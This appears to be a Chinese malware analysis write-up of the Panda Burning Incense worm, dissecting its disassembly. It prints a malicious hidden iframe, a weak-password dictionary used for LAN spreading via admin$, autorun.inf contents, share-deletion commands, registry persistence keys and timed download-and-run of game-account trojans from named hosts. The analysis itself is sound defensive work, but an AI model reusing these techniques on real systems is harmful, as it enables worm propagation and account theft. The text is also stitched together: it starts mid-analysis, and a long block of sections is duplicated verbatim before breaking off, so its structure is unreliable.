新版熊猫病毒分析笔记－by cyto
解密后为:
00CC0090 4A 00 00 00 3C 69 66 72 61 6D 65 20 73 72 63 3D J...<iframe src=
00CC00A0 68 74 74 70 3A 2F 2F 77 77 77 2E 61 63 38 36 2E http://www.ac86.
00CC00B0 63 6E 2F 36 36 2F 69 6E 64 65 78 2E 68 74 6D 20 cn/66/index.htm
00CC00C0 77 69 64 74 68 3D 22 30 22 20 68 65 69 67 68 74 width="0" height
00CC00D0 3D 22 30 22 3E 3C 2F 69 66 72 61 6D 65 3E 00 00 ="0"></iframe>..
2.8.局域网传播:
遍历用户所在局域网,连接上可用机器,复制病毒到指定目标,病毒名Gamesetup.exe,
然后添加远程任务,同时尝试弱口令对内网机器进行攻击.
整个代码过程:
0040A928 55 push ebp ; URLMON.702B0000
...
0040AA0C C745 D4 0500000>mov dword ptr ss:[ebp-2C],5
0040AA13 B8 F0E04000 mov eax,GameSetu.0040E0F0 ; 注意地址,字符串指针
0040AA18 8945 BC mov dword ptr ss:[ebp-44],eax ; 字符串指针保存
0040AA1B 8D55 B4 lea edx,dword ptr ss:[ebp-4C] ; 循环指针,开始处
0040AA1E 8B45 E0 mov eax,dword ptr ss:[ebp-20]
...
0040AA31 8B45 BC mov eax,dword ptr ss:[ebp-44]
0040AA34 FF30 push dword ptr ds:[eax]
0040AA36 8D45 B8 lea eax,dword ptr ss:[ebp-48] ; 目标1
0040AA39 BA 04000000 mov edx,4
0040AA3E E8 4995FFFF call GameSetu.00403F8C
0040AA43 8B55 B8 mov edx,dword ptr ss:[ebp-48]
0040AA46 8B45 FC mov eax,dword ptr ss:[ebp-4]
0040AA49 E8 7AFDFFFF call GameSetu.0040A7C8
0040AA4E 85C0 test eax,eax
0040AA50 0F84 4E020000 je GameSetu.0040ACA4
0040AA56 6A 00 push 0
0040AA58 8D55 AC lea edx,dword ptr ss:[ebp-54] ; 目标3
0040AA5B 8B45 E0 mov eax,dword ptr ss:[ebp-20]
0040AA5E E8 AD9BFFFF call GameSetu.00404610
...
0040AA6E 8B45 BC mov eax,dword ptr ss:[ebp-44]
0040AA71 FF30 push dword ptr ds:[eax]
0040AA73 68 64AD4000 push GameSetu.0040AD64 ; ASCII "GameSetup.exe"
0040AA78 8D45 B0 lea eax,dword ptr ss:[ebp-50] ; 目标2
0040AA7B BA 05000000 mov edx,5
0040AA80 E8 0795FFFF call GameSetu.00403F8C
0040AA85 8B45 B0 mov eax,dword ptr ss:[ebp-50]
0040AA88 E8 3F96FFFF call GameSetu.004040CC
...
0040AA99 68 7CAD4000 push GameSetu.0040AD7C ; ASCII "drivers\"
0040AA9E 68 90AD4000 push GameSetu.0040AD90 ; ASCII "spo0lsv.exe"
0040AAB9 E8 2EA0FFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
...
0040AB80 E8 83FAFFFF call GameSetu.0040A608 ; jmp to netapi32.NetRemoteTOD
0040AC07 E8 F4F9FFFF call GameSetu.0040A600 ; jmp to netapi32.NetScheduleJobAdd
...
0040AC6B B8 A4AD4000 mov eax,GameSetu.0040ADA4 ; ASCII "admin$"
0040AC70 E8 4BA4FFFF call GameSetu.004050C0
0040AC75 84C0 test al,al
0040AC77 75 2B jnz short GameSetu.0040ACA4
...
0040ACA4 8345 BC 04 add dword ptr ss:[ebp-44],4
0040ACA8 FF4D D4 dec dword ptr ss:[ebp-2C]
0040ACAB ^ 0F85 6AFDFFFF jnz GameSetu.0040AA1B ; 继续
dd 0040E0F0
0040E0F0 0040A828 GameSetu.0040A828 ; 以下为攻击目标
0040E0F4 0040A834 ASCII "\Documents and Settings\All Users\Start Menu\Programs\Startup\"
0040E0F8 0040A87C GameSetu.0040A87C
0040E0FC 0040A8C0 ASCII "\WINDOWS\Start Menu\Programs\Startup\"
0040E100 0040A8F0 ASCII "\WINNT\Profiles\All Users\Start Menu\Programs\Startup\"
0040E104 00000000
0040E108 0040ADB4 ASCII "1234" ; 以下为字典密码
0040E10C 0040ADC4 ASCII "password"
0040E110 0040ADD8 ASCII "6969"
0040E114 0040ADE8 ASCII "harley"
0040E118 0040ADF8 ASCII "123456"
0040E11C 0040AE08 ASCII "golf"
0040E120 0040AE18 ASCII "pussy"
0040E124 0040AE28 ASCII "mustang"
0040E128 0040AE38 ASCII "1111"
0040E12C 0040AE48 ASCII "shadow"
0040E130 0040AE58 ASCII "1313"
0040E134 0040AE68 ASCII "fish"
0040E138 0040AE78 ASCII "5150"
0040E13C 0040AE88 ASCII "7777"
0040E140 0040AE98 ASCII "qwerty"
0040E144 0040AEA8 ASCII "baseball"
0040E148 0040AEBC ASCII "2112"
0040E14C 0040AECC ASCII "letmein"
0040E150 0040AEDC ASCII "12345678"
0040E154 0040AEF0 ASCII "12345"
0040E158 0040AF00 ASCII "ccc"
0040E15C 0040AF0C ASCII "admin"
0040E160 0040AF1C ASCII "5201314"
0040E164 0040AF2C ASCII "qq520"
0040E168 0040AF3C GameSetu.0040AF3C
0040E16C 0040AF48 ASCII "12"
0040E170 0040AF54 ASCII "123"
0040E174 0040AF60 ASCII "1234567"
0040E178 0040AF70 ASCII "123456789"
0040E17C 0040AF84 ASCII "654321"
0040E180 0040AF94 ASCII "54321"
0040E184 0040AFA4 ASCII "111"
0040E188 0040AFB0 ASCII "000000"
0040E18C 0040AFC0 ASCII "abc"
0040E190 0040AFCC ASCII "pw"
0040E194 0040AFD8 ASCII "11111111"
0040E198 0040AFEC ASCII "88888888"
0040E19C 0040B000 ASCII "pass"
0040E1A0 0040B010 ASCII "passwd"
0040E1A4 0040B020 ASCII "database"
0040E1A8 0040B034 ASCII "abcd"
0040E1AC 0040B044 ASCII "abc123"
0040E1B0 0040B000 ASCII "pass"
0040E1B4 0040B054 ASCII "sybase"
0040E1B8 0040B064 ASCII "123qwe"
0040E1BC 0040B074 ASCII "server"
0040E1C0 0040B084 ASCII "computer"
0040E1C4 0040B098 ASCII "520"
0040E1C8 0040B0A4 ASCII "super"
0040E1CC 0040B0B4 ASCII "123asd"
0040E1D0 0040B0C4 GameSetu.0040B0C4
0040E1D4 0040B0D0 ASCII "ihavenopass"
0040E1D8 0040B0E4 ASCII "godblessyou"
0040E1DC 0040B0F8 ASCII "enable"
0040E1E0 0040B108 ASCII "xp"
0040E1E4 0040B114 ASCII "2002"
0040E1E8 0040B124 ASCII "2003"
0040E1EC 0040B134 ASCII "2600"
0040E1F0 0040B144 ASCII "alpha"
0040E1F4 0040B154 ASCII "110"
0040E1F8 0040B160 ASCII "111111"
0040E1FC 0040B170 ASCII "121212"
0040E200 0040B180 ASCII "123123"
0040E204 0040B190 ASCII "1234qwer"
0040E208 0040B1A4 ASCII "123abc"
0040E20C 0040B1B4 ASCII "007"
0040E210 0040B1C0 GameSetu.0040B1C0
0040E214 0040B1CC ASCII "aaa"
0040E218 0040B1D8 ASCII "patrick"
0040E21C 0040B1E8 ASCII "pat"
0040E220 0040B1F4 ASCII "administrator"
0040E224 0040B20C ASCII "root"
0040E228 0040B21C ASCII "sex"
0040E22C 0040B228 ASCII "god"
0040E230 0040B234 ASCII "fuckyou"
0040E234 0040B244 ASCII "fuck"
0040E238 0040AFC0 ASCII "abc"
0040E23C 0040B254 ASCII "test"
0040E240 0040B264 ASCII "test123"
0040E244 0040B274 ASCII "temp"
0040E248 0040B284 ASCII "temp123"
0040E24C 0040B294 ASCII "win"
0040E250 0040B2A0 ASCII "pc"
0040E254 0040B2AC ASCII "asdf"
0040E258 0040B2BC ASCII "pwd"
0040E25C 0040B2C8 ASCII "qwer"
0040E260 0040B2D8 ASCII "yxcv"
0040E264 0040B2E8 ASCII "zxcv"
0040E268 0040B2F8 ASCII "home"
0040E26C 0040B308 ASCII "xxx"
0040E270 0040B314 ASCII "owner"
0040E274 0040B324 ASCII "login"
0040E278 0040B334 ASCII "Login"
0040E27C 0040B344 ASCII "pw123"
0040E280 0040B354 ASCII "love"
0040E284 0040B364 ASCII "mypc"
0040E288 0040B374 ASCII "mypc123"
0040E28C 0040B384 ASCII "admin123"
0040E290 0040B398 ASCII "mypass"
0040E294 0040B3A8 ASCII "mypass123"
0040E298 0040B3BC ASCII "901100"
0040E29C 0040B3CC ASCII "Administrator"
0040E2A0 0040B3E4 ASCII "Guest"
0040E2A4 0040B3F4 ASCII "admin"
0040E2A8 0040B404 ASCII "Root"
2.9 复制病毒到根目录,生成autorun.inf:
病毒建立一个计时器以,6秒为周期在磁盘的根目录下生成setup.exe,
并利用AutoRun Open关联,使病毒在用户点击被感染磁盘时能被自动运行.
0040C374 68 7CBE4000 push GameSetu.0040BE7C ; 执行主体
0040C379 68 70170000 push 1770 ; 时间6000ms
0040C37E 6A 00 push 0
0040C380 6A 00 push 0
0040C382 E8 BD88FFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
将病毒复制到各分区下命名为setup.exe,建立autorun.inf:
0040BEC6 E8 BDFDFFFF call GameSetu.0040BC88
0040BCCC E8 7B8EFFFF call GameSetu.00404B4C ; jmp to KERNEL32.GetDriveTypeA
0040BF9F B9 F4C24000 mov ecx,GameSetu.0040C2F4 ; ASCII ":\setup.exe"
0040BFC4 B9 08C34000 mov ecx,GameSetu.0040C308 ; ASCII ":\autorun.inf"
0040C08A E8 5D8AFFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
0040C11D BA 20C34000 mov edx,GameSetu.0040C320 ; ASCII "[AutoRun]
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
2.10 下载其他病毒盗取QQ:
病毒会以xx分钟为周期尝试读取特定网站上的下载文件列表,
比如:"hxxp://www.ac86.cn/66/up.txt",hxxp://update.whboy.net/worm.txt
并根据文件列表指定的文件下载,并启动这些程序.
2.10.1 Timer=20min
0040D0A9 A3 B0E24000 mov dword ptr ds:[40E2B0],eax
0040D0AE 68 40D04000 push GameSetu.0040D040 ; 执行地址
0040D0B3 68 804F1200 push 124F80 ; 时间
0040D0B8 6A 00 push 0
0040D0BA 6A 00 push 0
0040D0BC E8 837BFFFF call <jmp.&user32.SetTimer>
0040D040 E8 EFFBFFFF call GameSetu.0040CC34
0040D045 C3 retn
0040CC34 51 push ecx
0040CC35 54 push esp
0040CC36 6A 00 push 0
0040CC38 6A 00 push 0
0040CC3A 68 B0C94000 push GameSetu.0040C9B0 ; 执行主体
0040CC3F 6A 00 push 0
0040CC41 6A 00 push 0
0040CC43 E8 B47EFFFF call GameSetu.00404AFC ; jmp to KERNEL32.CreateThread
0040CC48 5A pop edx
0040CC49 C3 retn
0040C9E2 B8 FCCB4000 mov eax,GameSetu.0040CBFC ; 加密过的字符串
0040C9E7 E8 00FBFFFF call GameSetu.0040C4EC ; 解密
堆栈 ss:[0012FFB0]=00CC0068, (ASCII "hxxp://www.ac86.cn/66/up.txt")
0040C9FF BA 24CC4000 mov edx,GameSetu.0040CC24 ; ASCII "QQ"
0040CABA E8 25FAFFFF call GameSetu.0040C4E4 ; jmp to URLMON.URLDownloadToFileA
0040CAFC E8 D380FFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
下载下来后发现都是游戏的木马:
hxxp://www.koshadu.com/down/mh.exe
hxxp://www.koshadu.com/down/rx.exe // 热血
hxxp://www.koshadu.com/down/my.exe // 魔域
hxxp://www.koshadu.com/down/dh.exe
hxxp://www.koshadu.com/down/cs.exe // CS
hxxp://www.koshadu.com/down/zt.exe // 征途
2.10.2 Timer=30min
0040D104 68 28C74000 push GameSetu.0040C728 ; 执行主体
0040D109 68 40771B00 push 1B7740 ; 时间
0040D10E 6A 00 push 0
0040D110 6A 00 push 0
0040D112 E8 2D7BFFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
0040C75A B8 74C94000 mov eax,GameSetu.0040C974 ; 加密过的字符串
0040C75F E8 88FDFFFF call GameSetu.0040C4EC ; 解密
堆栈 ss:[0012FFB0]=00CC0094, (ASCII "hxxp://update.whboy.net/worm.txt")
0040C777 BA A0C94000 mov edx,GameSetu.0040C9A0 ; ASCII "QQ"
0040C832 E8 ADFCFFFF call GameSetu.0040C4E4 ; jmp to URLMON.URLDownloadToFileA
0040C874 E8 5B83FFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
这个txt没能下载下来.
2.11 关闭中毒机器默认共享:
据loveboom分析只是为了避免病毒重复工作.
关闭:cmd.exe /c net share 驱动器名$ /del /y
0040CE07 E8 98A7FFFF call GameSetu.004075A4
004075E8 E8 5FD5FFFF call GameSetu.00404B4C ; jmp to KERNEL32.GetDriveTypeA
0040CE1D 68 94CE4000 push GameSetu.0040CE94 ; ASCII "cmd.exe /c net share "
0040CE34 68 B4CE4000 push GameSetu.0040CEB4 ; ASCII "$ /del /y"
0040CE4E 50 push eax
0040CE4F E8 807DFFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
关闭:cmd.exe /c net share admin$ /del /y
0040CE5B 68 C0CE4000 push GameSetu.0040CEC0 ; ASCII "cmd.exe /c net share admin$ /del /y"
0040CE60 E8 6F7DFFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
2.12 修改注册表隐藏病毒
将以1秒钟为周期不断设置如下键值:
HKEY_CURRENT_USER
"Software\Microsoft\Windows\CurrentVersion\Run"
svcshare=%病毒文件路径%
HKEY_LOCAL_MACHINE
"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
CheckedValue=0
设置时间:
0040D096 68 E4CE4000 push GameSetu.0040CEE4 ; 要执行的目标
0040D09B 68 E8030000 push 3E8 ; 1000ms
0040D0A0 6A 00 push 0
0040D0A2 6A 00 push 0
0040D0A4 E8 9B7BFFFF call <jmp.&user32.SetTimer>
执行目标:
0040CF09 68 7CCF4000 push GameSetu.0040CF7C ; ASCII "drivers\"
0040CF0E 68 90CF4000 push GameSetu.0040CF90 ; ASCII "spo0lsv.exe"
0040CF13 8D45 FC lea eax,dword ptr ss:[ebp-4]
0040CF16 BA 03000000 mov edx,3
0040CF1B E8 6C70FFFF call GameSetu.00403F8C
0040CF20 8B45 FC mov eax,dword ptr ss:[ebp-4]
0040CF23 E8 A471FFFF call GameSetu.004040CC
0040CF28 50 push eax
0040CF29 B9 9CCF4000 mov ecx,GameSetu.0040CF9C ; ASCII "svcshare"
0040CF2E BA A8CF4000 mov edx,GameSetu.0040CFA8 ; ASCII "Software\Microsoft\Windows\CurrentVersion\Run"
0040CF33 B8 01000080 mov eax,80000001
0040CF38 E8 7F82FFFF call GameSetu.004051BC
0040CF3D 33C9 xor ecx,ecx
0040CF3F BA E0CF4000 mov edx,GameSetu.0040CFE0 ; ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
0040CF44 B8 02000080 mov eax,80000002
0040CF49 E8 A28AFFFF call GameSetu.004059F0
3.按代码流程分析:
整体流程:
先比较2个字符串,不同就退出:
0040D5D6 BA 90D84000 mov edx,GameSetu.0040D890 ; ASCII "xboy"
0040D600 BA CCD84000 mov edx,GameSetu.0040D8CC ; ASCII "whboy"
然后拷贝病毒,感染文件并反杀毒及下载其他病毒:
0040D627 E8 70ABFFFF call GameSetu.0040819C ; 模块1-拷贝病毒
0040D62C E8 5BFBFFFF call GameSetu.0040D18C ; 模块2-感染文件
0040D631 E8 52FAFFFF call GameSetu.0040D088 ; 模块3-清除反病毒并下载其他病毒
3.1 模块1-拷贝病毒:
0040D627 E8 70ABFFFF call GameSetu.0040819C ; 模块1-拷贝病毒
是否存在Desktop_.ini,存在就设置为normal然后删除:
004081E1 BA 98874000 mov edx,GameSetu.00408798 ; ASCII "Desktop_.ini"
...
0040823D E8 72C9FFFF call GameSetu.00404BB4 ; jmp to KERNEL32.SetFileAttributesA
...
00408283 E8 7CC8FFFF call GameSetu.00404B04 ; jmp to KERNEL32.DeleteFileA
判断是否感染过:
004082DF 8B45 FC mov eax,dword ptr ss:[ebp-4]
004082E2 807C18 FF 00 cmp byte ptr ds:[eax+ebx-1],0 ; 文件尾是否为0?
004082E7 ^ 75 CE jnz short GameSetu.004082B7 ; 判断感染前还是感染后
004082E9 837D F8 00 cmp dword ptr ss:[ebp-8],0 ; 感染标志
004082ED 0F85 6B010000 jnz GameSetu.0040845E
如果未感染,那么拷贝病毒.参看2.5.
3.2 模块2-感染文件:
0040D62C E8 5BFBFFFF call GameSetu.0040D18C ; 模块2-感染文件
0040D18C E8 1FD4FFFF call GameSetu.0040A5B0 ; 创建线程感染文件,参看2.6＆2.7
0040D191 E8 DEF1FFFF call GameSetu.0040C374 ; 写Autorun.inf,参看2.9
0040D196 66:B8 0A00 mov ax,0A
0040D19A E8 2DE9FFFF call GameSetu.0040BACC ; 感染网络,参看2.8
0040D19F C3 retn
3.3 模块3-清除反病毒并下载其他病毒
0040D631 E8 52FAFFFF call GameSetu.0040D088 ; 模块3-清除反病毒并下载其他病毒
设置病毒自启动并修改隐藏标志,参看2.12;
中止相应字符串的窗口,关闭进程,参看2.1,2.2;
下载其他病毒,参看2.10;
关闭共享,参看2.11;
清除杀毒软件相关服务,参看2.3.
4.其他:
4.1解密得到n多网址:???????????
0040D0F1 68 4CCC4000 push GameSetu.0040CC4C ; 执行地址
0040D0F6 68 10270000 push 2710 ; 时间
0040D0FB 6A 00 push 0
0040D0FD 6A 00 push 0
0040D0FF E8 407BFFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
0040CC6C B8 28CD4000 mov eax,GameSetu.0040CD28
0040CC71 E8 76F8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012FC8C]=00CC00C4, (ASCII "http://www.tom.com")
0040CC89 B8 44CD4000 mov eax,GameSetu.0040CD44
0040CC8E E8 59F8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012FC84]=00CC00E4, (ASCII "http://www.163.com")
0040CCA6 B8 60CD4000 mov eax,GameSetu.0040CD60
0040CCAB E8 3CF8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012ECBC]=00CC0274, (ASCII "http://www.sohu.com")
0040CCC3 B8 7CCD4000 mov eax,GameSetu.0040CD7C
0040CCC8 E8 1FF8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012F800]=00CC03A8, (ASCII "http://www.yahoo.com")
0040CCE0 B8 9CCD4000 mov eax,GameSetu.0040CD9C
0040CCE5 E8 02F8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012F800]=00CC03CC, (ASCII "http://www.google.com")
不会用来DDos攻击吧?
00CC0090 4A 00 00 00 3C 69 66 72 61 6D 65 20 73 72 63 3D J...<iframe src=
00CC00A0 68 74 74 70 3A 2F 2F 77 77 77 2E 61 63 38 36 2E http://www.ac86.
00CC00B0 63 6E 2F 36 36 2F 69 6E 64 65 78 2E 68 74 6D 20 cn/66/index.htm
00CC00C0 77 69 64 74 68 3D 22 30 22 20 68 65 69 67 68 74 width="0" height
00CC00D0 3D 22 30 22 3E 3C 2F 69 66 72 61 6D 65 3E 00 00 ="0"></iframe>..
2.8.局域网传播:
遍历用户所在局域网,连接上可用机器,复制病毒到指定目标,病毒名Gamesetup.exe,
然后添加远程任务,同时尝试弱口令对内网机器进行攻击.
整个代码过程:
0040A928 55 push ebp ; URLMON.702B0000
...
0040AA0C C745 D4 0500000>mov dword ptr ss:[ebp-2C],5
0040AA13 B8 F0E04000 mov eax,GameSetu.0040E0F0 ; 注意地址,字符串指针
0040AA18 8945 BC mov dword ptr ss:[ebp-44],eax ; 字符串指针保存
0040AA1B 8D55 B4 lea edx,dword ptr ss:[ebp-4C] ; 循环指针,开始处
0040AA1E 8B45 E0 mov eax,dword ptr ss:[ebp-20]
...
0040AA31 8B45 BC mov eax,dword ptr ss:[ebp-44]
0040AA34 FF30 push dword ptr ds:[eax]
0040AA36 8D45 B8 lea eax,dword ptr ss:[ebp-48] ; 目标1
0040AA39 BA 04000000 mov edx,4
0040AA3E E8 4995FFFF call GameSetu.00403F8C
0040AA43 8B55 B8 mov edx,dword ptr ss:[ebp-48]
0040AA46 8B45 FC mov eax,dword ptr ss:[ebp-4]
0040AA49 E8 7AFDFFFF call GameSetu.0040A7C8
0040AA4E 85C0 test eax,eax
0040AA50 0F84 4E020000 je GameSetu.0040ACA4
0040AA56 6A 00 push 0
0040AA58 8D55 AC lea edx,dword ptr ss:[ebp-54] ; 目标3
0040AA5B 8B45 E0 mov eax,dword ptr ss:[ebp-20]
0040AA5E E8 AD9BFFFF call GameSetu.00404610
...
0040AA6E 8B45 BC mov eax,dword ptr ss:[ebp-44]
0040AA71 FF30 push dword ptr ds:[eax]
0040AA73 68 64AD4000 push GameSetu.0040AD64 ; ASCII "GameSetup.exe"
0040AA78 8D45 B0 lea eax,dword ptr ss:[ebp-50] ; 目标2
0040AA7B BA 05000000 mov edx,5
0040AA80 E8 0795FFFF call GameSetu.00403F8C
0040AA85 8B45 B0 mov eax,dword ptr ss:[ebp-50]
0040AA88 E8 3F96FFFF call GameSetu.004040CC
...
0040AA99 68 7CAD4000 push GameSetu.0040AD7C ; ASCII "drivers\"
0040AA9E 68 90AD4000 push GameSetu.0040AD90 ; ASCII "spo0lsv.exe"
0040AAB9 E8 2EA0FFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
...
0040AB80 E8 83FAFFFF call GameSetu.0040A608 ; jmp to netapi32.NetRemoteTOD
0040AC07 E8 F4F9FFFF call GameSetu.0040A600 ; jmp to netapi32.NetScheduleJobAdd
...
0040AC6B B8 A4AD4000 mov eax,GameSetu.0040ADA4 ; ASCII "admin$"
0040AC70 E8 4BA4FFFF call GameSetu.004050C0
0040AC75 84C0 test al,al
0040AC77 75 2B jnz short GameSetu.0040ACA4
...
0040ACA4 8345 BC 04 add dword ptr ss:[ebp-44],4
0040ACA8 FF4D D4 dec dword ptr ss:[ebp-2C]
0040ACAB ^ 0F85 6AFDFFFF jnz GameSetu.0040AA1B ; 继续
dd 0040E0F0
0040E0F0 0040A828 GameSetu.0040A828 ; 以下为攻击目标
0040E0F4 0040A834 ASCII "\Documents and Settings\All Users\Start Menu\Programs\Startup\"
0040E0F8 0040A87C GameSetu.0040A87C
0040E0FC 0040A8C0 ASCII "\WINDOWS\Start Menu\Programs\Startup\"
0040E100 0040A8F0 ASCII "\WINNT\Profiles\All Users\Start Menu\Programs\Startup\"
0040E104 00000000
0040E108 0040ADB4 ASCII "1234" ; 以下为字典密码
0040E10C 0040ADC4 ASCII "password"
0040E110 0040ADD8 ASCII "6969"
0040E114 0040ADE8 ASCII "harley"
0040E118 0040ADF8 ASCII "123456"
0040E11C 0040AE08 ASCII "golf"
0040E120 0040AE18 ASCII "pussy"
0040E124 0040AE28 ASCII "mustang"
0040E128 0040AE38 ASCII "1111"
0040E12C 0040AE48 ASCII "shadow"
0040E130 0040AE58 ASCII "1313"
0040E134 0040AE68 ASCII "fish"
0040E138 0040AE78 ASCII "5150"
0040E13C 0040AE88 ASCII "7777"
0040E140 0040AE98 ASCII "qwerty"
0040E144 0040AEA8 ASCII "baseball"
0040E148 0040AEBC ASCII "2112"
0040E14C 0040AECC ASCII "letmein"
0040E150 0040AEDC ASCII "12345678"
0040E154 0040AEF0 ASCII "12345"
0040E158 0040AF00 ASCII "ccc"
0040E15C 0040AF0C ASCII "admin"
0040E160 0040AF1C ASCII "5201314"
0040E164 0040AF2C ASCII "qq520"
0040E168 0040AF3C GameSetu.0040AF3C
0040E16C 0040AF48 ASCII "12"
0040E170 0040AF54 ASCII "123"
0040E174 0040AF60 ASCII "1234567"
0040E178 0040AF70 ASCII "123456789"
0040E17C 0040AF84 ASCII "654321"
0040E180 0040AF94 ASCII "54321"
0040E184 0040AFA4 ASCII "111"
0040E188 0040AFB0 ASCII "000000"
0040E18C 0040AFC0 ASCII "abc"
0040E190 0040AFCC ASCII "pw"
0040E194 0040AFD8 ASCII "11111111"
0040E198 0040AFEC ASCII "88888888"
0040E19C 0040B000 ASCII "pass"
0040E1A0 0040B010 ASCII "passwd"
0040E1A4 0040B020 ASCII "database"
0040E1A8 0040B034 ASCII "abcd"
0040E1AC 0040B044 ASCII "abc123"
0040E1B0 0040B000 ASCII "pass"
0040E1B4 0040B054 ASCII "sybase"
0040E1B8 0040B064 ASCII "123qwe"
0040E1BC 0040B074 ASCII "server"
0040E1C0 0040B084 ASCII "computer"
0040E1C4 0040B098 ASCII "520"
0040E1C8 0040B0A4 ASCII "super"
0040E1CC 0040B0B4 ASCII "123asd"
0040E1D0 0040B0C4 GameSetu.0040B0C4
0040E1D4 0040B0D0 ASCII "ihavenopass"
0040E1D8 0040B0E4 ASCII "godblessyou"
0040E1DC 0040B0F8 ASCII "enable"
0040E1E0 0040B108 ASCII "xp"
0040E1E4 0040B114 ASCII "2002"
0040E1E8 0040B124 ASCII "2003"
0040E1EC 0040B134 ASCII "2600"
0040E1F0 0040B144 ASCII "alpha"
0040E1F4 0040B154 ASCII "110"
0040E1F8 0040B160 ASCII "111111"
0040E1FC 0040B170 ASCII "121212"
0040E200 0040B180 ASCII "123123"
0040E204 0040B190 ASCII "1234qwer"
0040E208 0040B1A4 ASCII "123abc"
0040E20C 0040B1B4 ASCII "007"
0040E210 0040B1C0 GameSetu.0040B1C0
0040E214 0040B1CC ASCII "aaa"
0040E218 0040B1D8 ASCII "patrick"
0040E21C 0040B1E8 ASCII "pat"
0040E220 0040B1F4 ASCII "administrator"
0040E224 0040B20C ASCII "root"
0040E228 0040B21C ASCII "sex"
0040E22C 0040B228 ASCII "god"
0040E230 0040B234 ASCII "fuckyou"
0040E234 0040B244 ASCII "fuck"
0040E238 0040AFC0 ASCII "abc"
0040E23C 0040B254 ASCII "test"
0040E240 0040B264 ASCII "test123"
0040E244 0040B274 ASCII "temp"
0040E248 0040B284 ASCII "temp123"
0040E24C 0040B294 ASCII "win"
0040E250 0040B2A0 ASCII "pc"
0040E254 0040B2AC ASCII "asdf"
0040E258 0040B2BC ASCII "pwd"
0040E25C 0040B2C8 ASCII "qwer"
0040E260 0040B2D8 ASCII "yxcv"
0040E264 0040B2E8 ASCII "zxcv"
0040E268 0040B2F8 ASCII "home"
0040E26C 0040B308 ASCII "xxx"
0040E270 0040B314 ASCII "owner"
0040E274 0040B324 ASCII "login"
0040E278 0040B334 ASCII "Login"
0040E27C 0040B344 ASCII "pw123"
0040E280 0040B354 ASCII "love"
0040E284 0040B364 ASCII "mypc"
0040E288 0040B374 ASCII "mypc123"
0040E28C 0040B384 ASCII "admin123"
0040E290 0040B398 ASCII "mypass"
0040E294 0040B3A8 ASCII "mypass123"
0040E298 0040B3BC ASCII "901100"
0040E29C 0040B3CC ASCII "Administrator"
0040E2A0 0040B3E4 ASCII "Guest"
0040E2A4 0040B3F4 ASCII "admin"
0040E2A8 0040B404 ASCII "Root"
2.9 复制病毒到根目录,生成autorun.inf:
病毒建立一个计时器以,6秒为周期在磁盘的根目录下生成setup.exe,
并利用AutoRun Open关联,使病毒在用户点击被感染磁盘时能被自动运行.
0040C374 68 7CBE4000 push GameSetu.0040BE7C ; 执行主体
0040C379 68 70170000 push 1770 ; 时间6000ms
0040C37E 6A 00 push 0
0040C380 6A 00 push 0
0040C382 E8 BD88FFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
将病毒复制到各分区下命名为setup.exe,建立autorun.inf:
0040BEC6 E8 BDFDFFFF call GameSetu.0040BC88
0040BCCC E8 7B8EFFFF call GameSetu.00404B4C ; jmp to KERNEL32.GetDriveTypeA
0040BF9F B9 F4C24000 mov ecx,GameSetu.0040C2F4 ; ASCII ":\setup.exe"
0040BFC4 B9 08C34000 mov ecx,GameSetu.0040C308 ; ASCII ":\autorun.inf"
0040C08A E8 5D8AFFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
0040C11D BA 20C34000 mov edx,GameSetu.0040C320 ; ASCII "[AutoRun]
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
2.10 下载其他病毒盗取QQ:
病毒会以xx分钟为周期尝试读取特定网站上的下载文件列表,
比如:"hxxp://www.ac86.cn/66/up.txt",hxxp://update.whboy.net/worm.txt
并根据文件列表指定的文件下载,并启动这些程序.
2.10.1 Timer=20min
0040D0A9 A3 B0E24000 mov dword ptr ds:[40E2B0],eax
0040D0AE 68 40D04000 push GameSetu.0040D040 ; 执行地址
0040D0B3 68 804F1200 push 124F80 ; 时间
0040D0B8 6A 00 push 0
0040D0BA 6A 00 push 0
0040D0BC E8 837BFFFF call <jmp.&user32.SetTimer>
0040D040 E8 EFFBFFFF call GameSetu.0040CC34
0040D045 C3 retn
0040CC34 51 push ecx
0040CC35 54 push esp
0040CC36 6A 00 push 0
0040CC38 6A 00 push 0
0040CC3A 68 B0C94000 push GameSetu.0040C9B0 ; 执行主体
0040CC3F 6A 00 push 0
0040CC41 6A 00 push 0
0040CC43 E8 B47EFFFF call GameSetu.00404AFC ; jmp to KERNEL32.CreateThread
0040CC48 5A pop edx
0040CC49 C3 retn
0040C9E2 B8 FCCB4000 mov eax,GameSetu.0040CBFC ; 加密过的字符串
0040C9E7 E8 00FBFFFF call GameSetu.0040C4EC ; 解密
堆栈 ss:[0012FFB0]=00CC0068, (ASCII "hxxp://www.ac86.cn/66/up.txt")
0040C9FF BA 24CC4000 mov edx,GameSetu.0040CC24 ; ASCII "QQ"
0040CABA E8 25FAFFFF call GameSetu.0040C4E4 ; jmp to URLMON.URLDownloadToFileA
0040CAFC E8 D380FFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
下载下来后发现都是游戏的木马:
hxxp://www.koshadu.com/down/mh.exe
hxxp://www.koshadu.com/down/rx.exe // 热血
hxxp://www.koshadu.com/down/my.exe // 魔域
hxxp://www.koshadu.com/down/dh.exe
hxxp://www.koshadu.com/down/cs.exe // CS
